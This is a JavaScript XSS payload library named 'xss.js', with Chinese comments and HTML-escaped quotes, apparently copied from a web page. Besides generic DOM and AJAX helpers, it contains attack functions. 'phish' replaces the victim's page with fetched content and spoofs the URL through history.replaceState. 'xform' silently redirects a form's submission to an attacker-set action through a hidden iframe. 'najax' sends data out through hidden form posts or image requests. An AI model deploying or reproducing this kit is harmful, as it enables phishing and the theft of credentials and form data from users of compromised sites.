;;var xss = function(){
  var x = {
   &#039;name&#039;:&#039;xss.js&#039;,
    &#039;version&#039;:&#039;0.1&#039;,
    &#039;author&#039;:&#039;jackmasa&#039;
 };
  
  x.x=function(id){return document.getElementById(id)};
 
  //容错取值
  x.e=function(_){try{return eval(&#039;(&#039;+_+&#039;)&#039;)}catch(e){return&#039;&#039;}};
 
  //浏览器 
  x.i={
   i:!!self.ActiveXObject,
   c:!!self.chrome,
    f:self.mozPaintCount&gt;-1,
   o:!!self.opera,
   s:!self.chrome&amp;&amp;!!self.WebKitPoint
  };
  
  //UA
  x.ua = navigator.userAgent;
 
  //判断是否为苹果手持设备
 x.apple=x.ua.match(/ip(one|ad|od)/i)!=null;
 
  //随机数
 x.rdm=function(){return~~(Math.random()*100000)};

 //url编码(UTF8)
 x.ec=encodeURIComponent;

  x.html=document.getElementsByTagName(&#039;html&#039;)[0];
  
  /*
   * 销毁一个元素
  */
 x.kill=function(e){
   e.parentElement.removeChild(e);
 };

  /*
   *绑定事件
   */
 x.bind=function(e,name,fn){
   e.addEventListener?e.addEventListener(name,fn,false):e.attachEvent(&quot;on&quot;+name,fn);
 };
  
  /*
   * dom准备完毕时执行函数
  */
 x.ready=function(fn){
   if(!x.i.i){
     x.bind(document,&#039;DOMContentLoaded&#039;,fn);
   }else{
      var s = setInterval(function(){
       try{
          document.body.doScroll(&#039;left&#039;);
         clearInterval(s);
         fn();
       }catch(e){}
     },4);
   }
 }

 /*
   * 同源检测
  */
 x.o=function(url){
    var link = x.dom(&#039;&lt;a href=&quot;&#039;+encodeURI(url)+&#039;&quot;&gt;&#039;,2);
    return link.protocol+link.hostname+&#039;:&#039;+link.port==location.protocol+location.hostname+&#039;:&#039;+link.port;
  };
  
  /*
   * html to dom
   */
 x.dom=function(html,gcsec){
   var tmp = document.createElement(&#039;span&#039;);
   tmp.innerHTML=html;
   var e = tmp.children[0];
    e.style.display=&#039;none&#039;;
   x.html.appendChild(e);
    gcsec&gt;&gt;0&gt;0&amp;&amp;setTimeout(function(){
     x.kill(e);
    },gcsec*1000);
    return e;
 };

  /*
   * ajax
  */
 x.ajax = function(url,params,callback){
   (params instanceof Function)&amp;&amp;(callback=params,params=void(0));
   var XHR = (!x.o(url)&amp;&amp;window.XDomainRequest)||
          window.XMLHttpRequest||
         (function(){return new ActiveXObject(&#039;MSXML2.XMLHTTP&#039;)});
   var xhr = new XHR();
    xhr.open(params?&#039;post&#039;:&#039;get&#039;,url);
    try{xhr.setRequestHeader(&#039;content-type&#039;,&#039;application/x-www-form-urlencoded&#039;)}catch(e){}
   callback&amp;&amp;(xhr.onreadystatechange = function() {
      (this.readyState == 4 &amp;&amp; ((this.status &gt;= 200 &amp;&amp; this.status &lt;= 300) || this.status == 304))&amp;&amp;callback.apply(this,arguments);
   });
   xhr.send(params);
 };

  /*
   * no ajax
   */
 x.najax=function(url,params){
   if(params){
     var form = x.dom(&#039;&lt;form method=post accept-charset=utf-8&gt;&#039;);
      form.action=url;
      for(var name in params){
        var input = document.createElement(&#039;input&#039;);
        input.name=name;
        input.value=params[name];
       form.appendChild(input);
      }
     var iframe = x.dom(&#039;&lt;iframe name=_&#039;+x.rdm()+&#039;_&gt;&#039;,6);
      form.target=iframe.name;
      form.submit();
    }else{
      new Image().src=url+&#039;&amp;&#039;+x.rdm();
    }
 };

  /*
   * 钓鱼
  */
 x.phish=function(url){
    x.ajax(url,function(){
      document.open();
      document.write(this.responseText);
      document.close();
     history.replaceState&amp;x.o(url)&amp;&amp;history.replaceState(&#039;&#039;,&#039;&#039;,url);
   })
  };

  /*
   * 表单劫持
  */
 x.xform=function(form,action){
    form.old_action=form.action,form.old_target=form.target,form.action=action;
   var iframe = x.dom(&#039;&lt;iframe name=_&#039;+x.rdm()+&#039;_&gt;&#039;);
    form.target=iframe.name;
    setTimeout(function(){
      x.bind(iframe,&#039;load&#039;,function(){
        form.action=form.old_action,form.target=form.old_target,form.onsubmit=null,form.submit();
     })
    },30);
  };
  
  /*
   * 函数代理
  */
 x.proxy=function(fn,before,after){
    return function(){
      before&amp;&amp;before.apply(this,arguments);
     var result = fn.apply(this,arguments);
      after&amp;&amp;after.apply(this,arguments);
     return result;
    }
 };
  
  return x;
}();